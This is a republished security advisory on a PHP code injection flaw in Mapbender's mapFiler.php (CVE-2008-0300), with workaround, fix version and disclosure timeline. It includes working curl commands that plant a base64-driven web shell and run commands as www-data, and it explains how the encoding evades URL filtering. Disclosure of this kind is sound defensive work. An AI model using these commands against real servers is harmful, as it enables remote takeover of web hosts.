|
|
|
Credit:
The information has been provided by RedTeam Pentesting GmbH.
The original article can be found at: http://www.redteam-pentesting.de/advisories/rt-sa-2008-001.php
|
|
The Mapbender software comes with a script mapFiler.php, which is located at
http://www.example.com/tools/mapFiler.php
Due to the lack of input filtering, an attacker is able to enter valid PHP code in the "factor" input field. This PHP code is written into a newly generated file in the Mapbender webfolder. Therefore, it is possible to remotely execute the code by requesting the new file.
Proof of Concept:
For this example, the user account which is used to execute php scripts needs permissions to write files to the tmp directory. Any other directory with write permissions in the web root can be used, too.
Calling
curl -d "myLocation=../tmp/.&factor=<?php passthru(base64_decode(
\$_GET[c])) ?>.php&button=let's go" http://www.example.com/
tools/mapFiler.php
creates a file
tmp/_\<\?php\ passthru\(base64_decode\(\$_GET\[c\]\)\)\ \?\>.php.
with the content:
#Modified by MapbenderTools
#Date: 14.01.2008
#Factor: <?php passthru(base64_decode($_GET[c])) ?>.php
This script can then be executed by calling:
curl -g 'http://www.example.com/tmp/_<%3fphp%20passthru(base64_decode(
$_GET[c]))%20%3f>.php.?c=aWQ'
It returns:
#Modified by MapbenderTools
#Date: 15.01.2008
#Factor: uid=33(www-data) gid=33(www-data) groups=33(www-data)
.php
Commands sent to the script have to be base64 encoded and will be decoded by the PHP code, to avoid possible URL filtering on the victim's side.
Workaround:
If not needed, the mapfiler.php script can be removed. Otherwise, it can be protected by using an .htaccess directive.
Fix:
The vulnerability is fixed in release 2.4.5 rc1.
Security Risk:
The security risk is rated as high. An attacker can execute arbitrary commands remotely with the rights of the webserver.
CVE Information:
CVE-2008-0300
Disclosure Timeline:
2007-12-14 - Problem identified during a penetration test
2008-01-09 - Customer approves contacting of Mapbender developers
2008-01-17 - CVE number assigned
2008-03-10 - Vendor releases fixed version
2008-03-11 - Advisory released
|
|
|
|